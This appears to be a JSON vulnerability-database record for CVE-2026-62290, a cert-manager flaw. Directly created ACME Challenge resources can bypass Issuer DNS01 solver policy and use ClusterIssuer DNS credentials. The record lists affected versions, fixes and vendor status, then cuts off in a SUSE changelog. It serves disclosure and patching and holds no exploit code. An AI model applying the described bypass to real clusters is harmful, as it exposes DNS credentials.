{"id":"CVE-2026-62290","aliases":["BIT-cert-manager-2026-62290","DHI-heii-miix-gola-xi57","GHSA-8rvj-mm4h-c258","GO-2026-6889"],"summary":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","published_at":"2026-07-16T19:37:40.255Z","modified_at":"2026-11-20T18:45:04.830843Z","products":[{"slug":"cert-manager","name":"cert-manager","category":"kubernetes-container"}],"rating":{"severity":"high","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","attack_path":"local","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":true,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.001120000029914081,"percentile":0.01375999953597784,"date":"2026-11-21T00:00:00Z"},"priority":6.8,"record_count":9,"vendors":["Red Hat","SUSE","GitHub","Bitnami","Docker Hardened Images","Go"],"details":"cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.","affected_stack":[{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"}]}],"fixed":["1.19.6"],"provider":"osv","source":"GHSA-8rvj-mm4h-c258","relation":"self"},{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.20.0-alpha.0"},{"fixed":"1.20.3"}]}],"fixed":["1.20.3"],"provider":"osv","source":"GHSA-8rvj-mm4h-c258","relation":"self"},{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"},{"introduced":"1.20.0-alpha.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"osv","source":"GO-2026-6889","relation":"self"}],"affected_other":[{"ecosystem":"Bitnami","package":"cert-manager","purl":"pkg:bitnami/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"},{"introduced":"1.20.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"osv","source":"BIT-cert-manager-2026-62290","relation":"self"},{"ecosystem":"CVE","package":"cert-manager/cert-manager","versions":[">= 1.18.0, < 1.19.6",">= 1.20.0, < 1.20.3"],"provider":"cvelistv5","source":"CVE-2026-62290","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr","purl":"pkg:apk/dhi/istio-csr","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-dev","purl":"pkg:apk/dhi/istio-csr-dev","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-fips","purl":"pkg:apk/dhi/istio-csr-fips","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-fips-dev","purl":"pkg:apk/dhi/istio-csr-fips-dev","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-2.11","purl":"pkg:apk/dhi/gitlab-operator-2.11","versions":["2.11.3-r0","2.11.3-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-2.11-fips","purl":"pkg:apk/dhi/gitlab-operator-2.11-fips","versions":["2.11.3-r0","2.11.3-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-3.1","purl":"pkg:apk/dhi/gitlab-operator-3.1","versions":["3.1.5-r0","3.1.5-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-3.1-fips","purl":"pkg:apk/dhi/gitlab-operator-3.1-fips","versions":["3.1.5-r0","3.1.5-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1","purl":"pkg:apk/dhi/kuberay-operator-1","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-dev","purl":"pkg:apk/dhi/kuberay-operator-1-dev","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-fips","purl":"pkg:apk/dhi/kuberay-operator-1-fips","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-fips-dev","purl":"pkg:apk/dhi/kuberay-operator-1-fips-dev","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-dev","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-dev","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-fips","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-fips","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-fips-dev","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-fips-dev","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"NVD","package":"linuxfoundation:cert-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"}]},{"type":"ECOSYSTEM","events":[{"introduced":"1.20.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"nvd","source":"CVE-2026-62290","relation":"self"},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/suse/govulncheck-vulndb&distro=SUSE%20Linux%20Enterprise%20Server%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"SUSE-SU-2026:24730-1","relation":"upstream"},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/suse/govulncheck-vulndb&distro=SUSE%20Linux%20Enterprise%20Server%20for%20SAP%20applications%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"SUSE-SU-2026:24730-1","relation":"upstream"},{"ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/opensuse/govulncheck-vulndb&distro=openSUSE%20Leap%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"openSUSE-SU-2026:22336-1","relation":"upstream"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-llm-d-batch-gateway-operator-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-62290"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kuberay-operator-controller-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-62290"}],"records":[{"provider":"osv","source_id":"SUSE-SU-2026:24730-1","relation":"upstream","url":"https://osv.dev/vulnerability/SUSE-SU-2026:24730-1","published_at":"2026-11-12T17:18:43Z","modified_at":"2026-11-17T17:23:12.532517Z","summary":"Security update for govulncheck-vulndb","details":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\nUpdate to version 0.0.20261105T234957 2026-11-05T23:49:57Z (jsc#PED-11136):\n\n * GO-2026-4919 CVE-2026-33634 GHSA-69fq-xp46-6x23\n * GO-2026-5932\n * GO-2026-6651 GHSA-5wf9-h793-w73c\n * GO-2026-6674 CVE-2026-107225 GHSA-5h23-36rv-pm65\n * GO-2026-6675 CVE-2026-107218 GHSA-8jjq-8j9w-m2v6\n * GO-2026-6676 CVE-2026-107221 GHSA-8mcq-6wmr-jrjv\n * GO-2026-6677 CVE-2026-107217 GHSA-c85p-xxjj-2r75\n * GO-2026-6678 CVE-2026-107223 GHSA-fq3v-74gv-27gm\n * GO-2026-6679 CVE-2026-107224 GHSA-fw94-4wwp-w8pw\n * GO-2026-6680 CVE-2026-107220 GHSA-g27h-8qhm-6pff\n * GO-2026-6681 CVE-2026-107219 GHSA-jrfj-fhj2-jjvm\n * GO-2026-6682 CVE-2026-107222 GHSA-rxcj-4pj5-74gr\n * GO-2026-6769 CVE-2026-100351 GHSA-23vg-4cjm-66q5\n * GO-2026-6778 CVE-2026-85747 GHSA-685w-q87j-wqw3\n * GO-2026-6783 CVE-2026-100347 GHSA-fh4f-47mf-f2gj\n * GO-2026-6785 CVE-2026-100354 GHSA-g8cf-rcjf-c8cf\n * GO-2026-6787 CVE-2026-100350 GHSA-h4r5-mxv5-8mjc\n * GO-2026-6789 CVE-2026-100348 GHSA-mh7x-f8wq-4jhx\n * GO-2026-6790 CVE-2026-97394 GHSA-p6wj-qrr4-pgh5\n * GO-2026-6795 CVE-2026-100352 GHSA-rj39-cv6w-8wv7\n * GO-2026-6798 CVE-2026-104252 GHSA-v75v-6fpf-gvw8\n * GO-2026-6800 CVE-2026-100353 GHSA-vrcc-3ch7-hppw\n * GO-2026-6804 CVE-2026-100349 GHSA-74vm-87hj-r66f\n * GO-2026-6825 CVE-2026-113727 GHSA-46r4-q7wv-32fc\n * GO-2026-6826 CVE-2026-113729 GHSA-5588-rp99-5fjh\n * GO-2026-6828 CVE-2026-73630 GHSA-4pjg-x8qj-33j5\n * GO-2026-6831 CVE-2026-73054 GHSA-c8w8-3pqp-wr83\n * GO-2026-6833 CVE-2026-73049 GHSA-p4qw-vx5p-g984\n * GO-2026-6834 CVE-2026-62204 GHSA-rpx2-p6hp-x5gj\n * GO-2026-6836 GHSA-xp3q-r38w-vgqm\n * GO-2026-6838 GHSA-9969-6676-49h5\n * GO-2026-6839 GHSA-cxf3-9h37-7rr8\n * GO-2026-6840 GHSA-f48p-c9v4-h7xv\n * GO-2026-6841 GHSA-h53f-rm2w-w7rg\n * GO-2026-6842 GHSA-h7wr-284f-5qvc\n * GO-2026-6844 GHSA-x9ff-22gv-65f4\n * GO-2026-6860 CVE-2026-78661\n * GO-2026-6862 CVE-2026-34157 GHSA-47hv-j4px-h3c9\n * GO-2026-6863 CVE-2026-60083 GHSA-c8r8-95hg-mp34\n * GO-2026-6865 CVE-2026-116591 GHSA-fpmh-frq8-7rj8\n * GO-2026-6866 CVE-2026-97045\n * GO-2026-6868 CVE-2026-116683 GHSA-vg84-c5mg-76xh\n * GO-2026-6869 CVE-2026-116679 GHSA-5cp7-fp4j-wwcv\n * GO-2026-6870 CVE-2026-116682 GHSA-mgqf-5mf5-prfj\n * GO-2026-6871 CVE-2026-116676 GHSA-rjh2-4xgw-p2hj\n * GO-2026-6872 CVE-2026-118653 GHSA-246p-cpwv-v3jq\n * GO-2026-6873 CVE-2026-118650 GHSA-375p-5qhx-8wq4\n * GO-2026-6874 CVE-2026-55458 GHSA-8qx7-j2v2-x6q5\n * GO-2026-6875 CVE-2026-118651 GHSA-99jh-6h7p-pp36\n * GO-2026-6876 CVE-2026-118652 GHSA-h9g5-28mm-hx3g\n * GO-2026-6877 CVE-2026-118266 GHSA-r7w9-592q-9vg4\n * GO-2026-6878 CVE-2026-118658 GHSA-23wf-92cp-8pcj\n * GO-2026-6879 CVE-2026-118657 GHSA-2ffq-g2xg-c22p\n * GO-2026-6880 GHSA-2hw4-c9m4-f2fj\n * GO-2026-6881 CVE-2026-118654 GHSA-3pmx-cf9f-34xr\n * GO-2026-6883 CVE-2026-118656 GHSA-v753-g4cw-jm48\n * GO-2026-6885 CVE-2026-118655 GHSA-xwq5-6cqp-vx96\n * GO-2026-6888 CVE-2026-111497 GHSA-c9gr-gmg4-2vqv\n * GO-2026-6889 CVE-2026-62290 GHSA-8rvj-mm4h-c258\n * GO-2026-6890 CVE-2026-62160 GHSA-rhj7-vh3v-mcq6\n * GO-2026-6891 GHSA-f3fj-9625-rv3m\n * GO-2026-6892 GHSA-fgxm-5hvv-x4vh\n * GO-2026-6893\n * GO-2026-6894 GHSA-2wrx-84qj-4pcg\n * GO-2026-6895 GHSA-494m-4556-wf5p\n * GO-2026-6896 CVE-2026-119285 GHSA-g5jq-qmqr-qrwf\n * GO-2026-6897 GHSA-hff9-5pqw-6w9f\n * GO-2026-6898 GHSA-mmq5-xm89-9pfg\n * GO-2026-6899 CVE-2026-118761 GHSA-8fmv-6rg5-5924\n * GO-2026-6900 CVE-2026-118759 GHSA-wg5q-x4j9-qm54\n * GO-2026-6902 CVE-2026-105769 GHSA-5q7h-w9jf-cx97\n * GO-2026-6905\n * GO-2026-6906 GHSA-9ppr-wfw9-xvr2\n * GO-2026-6907 GHSA-m3qr-fvp4-78xj\n * GO-2026-6908 CVE-2026-62331 GHSA-48v2-6jcm-fc99\n * GO-2026-6909\n * GO-2026-6910 CVE-2026-13426 GHSA-72v2-v53v-4qmm\n * GO-2026-6911\n * GO-2026-6912 CVE-2026-13322 GHSA-6f2p-2qg2-qqch\n * GO-2026-6913 CVE-2026-55098 GHSA-93cm-2v4m-c56c\n * GO-2026-6914 CVE-2026-13218 GHSA-q3jc-42cq-33fj\n * GO-2026-6917 CVE-2026-12411 GHSA-hhf9-qw4v-72xp\n- Update to version 0.0.20261021T002729 2026-10-21T00:27:29Z.\n * GO-2026-6667 CVE-2026-26287 GHSA-q7hv-xx6h-q2x8\n * GO-2026-6668 CVE-2026-41510 GHSA-6r3q-mjv7-xr8m\n * GO-2026-6669 CVE-2026-41504 GHSA-prpw-wwv7-xjjr\n * GO-2026-6670 CVE-2026-41508 GHSA-r3rm-qphw-hh76\n * GO-2026-6671 CVE-2026-62252 GHSA-6xp5-7rcx-xfgx\n * GO-2026-6672 CVE-2026-62251 GHSA-f46q-3v67-fmm4\n * GO-2026-6673 CVE-2026-62253 GHSA-rqcc-94gv-wjm9\n * GO-2026-6684 CVE-2026-107214 GHSA-2j4c-ffch-9f23\n * GO-2026-6685 CVE-2026-107212 GHSA-jw42-f3rr-4cc3\n * GO-2026-6686 CVE-2026-61801 GHSA-mjcv-p78q-w5fw\n * GO-2026-6687 CVE-2026-107213 GHSA-r7x5-4969-99p7\n * GO-2026-6688 CVE-2026-107216 GHSA-wp2g-vpjj-g53r\n * GO-2026-6689 CVE-2026-107215 GHSA-x2q3-8cjh-766f\n * GO-2026-6690 GHSA-3c6w-j9xm-8h2h\n * GO-2026-6691 GHSA-3wr7-993q-jrff\n * GO-2026-6692 GHSA-5gj4-9gm7-2fx2\n * GO-2026-6693 GHSA-6gcq-wc29-5xf2\n * GO-2026-6694 GHSA-g4qm-m288-5cp9\n * GO-2026-6695 CVE-2026-107211 GHSA-mx22-3794-2vpv\n * GO-2026-6696 CVE-2026-104774 GHSA-pc5q-qfxp-ggqv\n * GO-2026-6697 GHSA-rp9v-7xv3-r6g3\n * GO-2026-6698 GHSA-w253-m66g-rx24\n * GO-2026-6699 GHSA-x26q-wvhg-fh4m\n * GO-2026-6700 CVE-2026-107386 GHSA-w6r9-248c-frg8\n * GO-2026-6701 CVE-2026-55797 GHSA-j6cw-g6p4-7hch\n * GO-2026-6702 CVE-2026-107811 GHSA-32gc-wf3m-78w9\n * GO-2026-6703 CVE-2026-107809 GHSA-33rr-wq23-g6gg\n * GO-2026-6704 CVE-2026-107808 GHSA-45gv-9wjv-xh7p\n * GO-2026-6705 CVE-2026-107812 GHSA-662p-52hx-cmh2\n * GO-2026-6706 CVE-2026-107813 GHSA-h246-wpgf-vmq5\n * GO-2026-6707 CVE-2026-107810 GHSA-p8v3-89rh-jxc7\n * GO-2026-6708 CVE-2026-107807 GHSA-pvgv-gcp7-v38g\n * GO-2026-6711 CVE-2026-76216 GHSA-32r8-5843-4qw2\n * GO-2026-6713 CVE-2026-91980 GHSA-39p5-2wrr-xh29\n * GO-2026-6714 GHSA-3hc7-r24j-rpwc\n * GO-2026-6715 GHSA-4hv6-xc92-j86g\n * GO-2026-6716 CVE-2026-107839 GHSA-4jfq-pmq9-257h\n * GO-2026-6717 CVE-2026-91971 GHSA-4vh2-39rq-rq8j\n * GO-2026-6720 CVE-2026-107840 GHSA-6r69-c6wg-7g8m\n * GO-2026-6721 CVE-2026-91972 GHSA-6rvj-qwjf-3m4q\n * GO-2026-6722 CVE-2026-91982 GHSA-88f6-4rjv-x774\n * GO-2026-6723 GHSA-8wvg-r2j4-3737\n * GO-2026-6724 CVE-2026-107804 GHSA-9h23-53f4-q947\n * GO-2026-6726 CVE-2026-91983 GHSA-9rg3-v78m-26q8\n * GO-2026-6730 GHSA-fmmf-xq98-g327\n * GO-2026-6731 GHSA-fprf-r6rv-xg99\n * GO-2026-6732 GHSA-g38j-7v97-x298\n * GO-2026-6733 GHSA-hjx8-qv73-f7cm\n * GO-2026-6734 CVE-2026-107805 GHSA-j3hg-9rp3-5hw9\n * GO-2026-6737 CVE-2026-91973 GHSA-m469-88xx-8rx2\n * GO-2026-6739 GHSA-m687-p538-r5hp\n * GO-2026-6741 CVE-2026-107806 GHSA-p393-cf76-4jmr\n * GO-2026-6745 GHSA-pjr3-86v4-5p7w\n * GO-2026-6746 CVE-2026-91969 GHSA-pqf9-h8g4-8gmh\n * GO-2026-6747 CVE-2026-91985 GHSA-qfwc-vx6f-3g6g\n * GO-2026-6748 CVE-2026-62376 GHSA-r6w9-259g-gwrv\n * GO-2026-6749 CVE-2026-68582 GHSA-rj9j-8772-4h6c\n * GO-2026-6750 CVE-2026-57458 GHSA-v3p6-34mc-hj7v\n * GO-2026-6752 CVE-2026-91981 GHSA-vfxw-3x8p-2vjr\n * GO-2026-6753 CVE-2026-68581 GHSA-vvcv-vpph-h844\n * GO-2026-6754 GHSA-w2ch-4xgr-22ww\n * GO-2026-6755 CVE-2026-91984 GHSA-w39f-h553-h2mx\n * GO-2026-6756 CVE-2026-91979 GHSA-w7jp-mf2v-8342\n * GO-2026-6757 CVE-2026-91970 GHSA-wq92-8x3r-fm38\n * GO-2026-6758 CVE-2026-62367 GHSA-xv7q-fvmc-jx96\n * GO-2026-6759 CVE-2026-91968 GHSA-xxc3-xpmc-vmvr\n * GO-2026-6765 CVE-2026-64653 GHSA-4fjg-2h4q-fwg3\n * GO-2026-6766 CVE-2026-64652 GHSA-cg6r-mpgc-h9mm\n * GO-2026-6767 CVE-2026-64655 GHSA-mm27-mwq9-fr5g\n * GO-2026-6768 CVE-2026-64672 GHSA-wv6g-x823-wx9m\n * GO-2026-6770 CVE-2026-94603 GHSA-2cvf-wqm6-wr9g\n * GO-2026-6771 CVE-2026-84314 GHSA-2gc7-j998-5xx6\n * GO-2026-6772 CVE-2026-102603 GHSA-3hcj-9m7p-wwm9\n * GO-2026-6773 CVE-2026-84312 GHSA-44xr-mrhh-qm78\n * GO-2026-6774 CVE-2026-84319 GHSA-5r62-gj48-897x\n * GO-2026-6775 CVE-2026-84315 GHSA-5v7c-xpfp-p65m\n * GO-2026-6776 CVE-2026-77524 GHSA-637c-6jxx-4rwm\n * GO-2026-6777 CVE-2026-77622 GHSA-663m-7x7m-g4fw\n * GO-2026-6779 CVE-2026-84317 GHSA-76pm-mq2q-9gcr\n * GO-2026-6781 CVE-2026-84318 GHSA-9jww-cxg5-rj9m\n * GO-2026-6782 CVE-2026-84316 GHSA-cf23-7qxj-xmhr\n * GO-2026-6784 CVE-2026-77459 GHSA-fmxq-cgp8-87wp\n * GO-2026-6786 CVE-2026-84313 GHSA-gfrc-g87h-7h5w\n * GO-2026-6788 CVE-2026-84320 GHSA-jrq7-xrjx-pcfw\n * GO-2026-6791 CVE-2026-95837 GHSA-p7v4-vr35-mj6f\n * GO-2026-6792 CVE-2026-77375 GHSA-q7pc-356p-hggc\n * GO-2026-6794 CVE-2026-100394 GHSA-qjpp-gffx-2wm9\n * GO-2026-6796 CVE-2026-95838 GHSA-rp3h-jf77-q9p4\n * GO-2026-6797 CVE-2026-82416 GHSA-v3ph-cgqh-r8p5\n * GO-2026-6799 CVE-2026-84360 GHSA-vc32-4gwf-77xp\n * GO-2026-6801 CVE-2026-84321 GHSA-wq4w-vwvq-q3x9\n * GO-2026-6802 CVE-2026-103028 GHSA-wwv9-g5x4-966q\n * GO-2026-6805 CVE-2026-62994 GHSA-74w3-63xv-x9mv\n * GO-2026-6806 CVE-2026-96628 GHSA-mp22-58ff-6fhr\n * GO-2026-6807 CVE-2026-96627 GHSA-pw5q-rjx4-7f7p\n * GO-2026-6809 CVE-2026-111943\n- Update to version 0.0.20261008T223109 2026-10-08T22:31:09Z.\n * GO-2026-4513 CVE-2026-32284 CVE-2026-32284 GHSA-h9q6-hc68-35rp\n * GO-2026-4740\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6489 CVE-2026-82410 GHSA-84vh-m24q-wjjx\n * GO-2026-6535 CVE-2026-61687 GHSA-phg3-3g28-wq9v\n * GO-2026-6565 CVE-2026-61681 GHSA-fjwv-jf2v-j499\n * GO-2026-6596 CVE-2026-56742 GHSA-w7c2-w76w-5hmj\n * GO-2026-6599 CVE-2026-94448\n * GO-2026-6600 CVE-2026-97030\n * GO-2026-6601 CVE-2026-94444\n * GO-2026-6602 CVE-2026-94447\n * GO-2026-6603 CVE-2026-78659\n * GO-2026-6604 CVE-2026-56857\n * GO-2026-6605 CVE-2026-56866\n * GO-2026-6607 CVE-2026-97031\n * GO-2026-6608 CVE-2026-94440\n * GO-2026-6609 CVE-2026-78667\n * GO-2026-6610 CVE-2026-78660\n * GO-2026-6611 CVE-2026-78669\n * GO-2026-6612 CVE-2026-78663\n * GO-2026-6613 CVE-2026-94439\n * GO-2026-6617 CVE-2026-97032\n * GO-2026-6621 CVE-2026-69085 GHSA-33jq-p8c2-q3q4\n * GO-2026-6622 CVE-2026-72788 GHSA-hgfg-j9pg-43xw\n * GO-2026-6624 CVE-2026-73607 GHSA-53fp-9jmv-227g\n * GO-2026-6626 CVE-2026-73605 GHSA-hf8h-97gm-4x2p\n * GO-2026-6629 CVE-2026-56851\n * GO-2026-6632 GHSA-9cqf-hhrq-7v45\n * GO-2026-6634 CVE-2026-73609 GHSA-j4ph-9xwf-wcj4\n * GO-2026-6635 CVE-2026-73606 GHSA-vg99-7gj7-2fr5\n * GO-2026-6638 CVE-2026-58167 GHSA-27c6-wp53-387x\n * GO-2026-6639 CVE-2026-62314 GHSA-6wcg-mqvh-fcvg\n * GO-2026-6645 CVE-2026-59707 GHSA-8c5q-hx4g-qq23\n * GO-2026-6650 CVE-2026-74802 GHSA-3cc2-h3v6-rqpq\n * GO-2026-6654 CVE-2026-74904 GHSA-4vpg-gwqq-w44c\n * GO-2026-6655 GHSA-p23f-cm6q-2qp8\n * GO-2026-6656 CVE-2026-73802 GHSA-x4q3-gcj3-m6cf\n * GO-2026-6657 GHSA-x8gv-g2g3-65fj\n * GO-2026-6662 GHSA-3cm4-ccvw-6xr6\n * GO-2026-6663 GHSA-4wwp-f6gw-6qm5\n * GO-2026-6664 CVE-2026-21727 GHSA-p5x9-j974-rpfp\n * GO-2026-6665 CVE-2026-86597 GHSA-qqj6-54q6-cxv6","severity":[],"affected":[{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/suse/govulncheck-vulndb&distro=SUSE%20Linux%20Enterprise%20Server%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"SUSE-SU-2026:24730-1","relation":"upstream"},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","purl":"pkg:rpm/suse/govulncheck-vulndb&distro=SUSE%20Linux%20Enterprise%20Server%20for%20SAP%20applications%2016.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20261105T234957-160000.1.1"}]}],"fixed":["0.0.20261105T234957-160000.1.1"],"provider":"osv","source":"SUSE-SU-2026:24730-1","relation":"upstream"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624730-1/"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100347"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100348"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100349"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100350"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100351"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100352"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100353"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100354"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-100394"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-102603"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-103028"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-104252"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-104774"},{"type":"WEB","url":"https://www.suse.com/security/cve/CVE-2026-105769"},{"type":"WEB","url":"https://www.suse.com/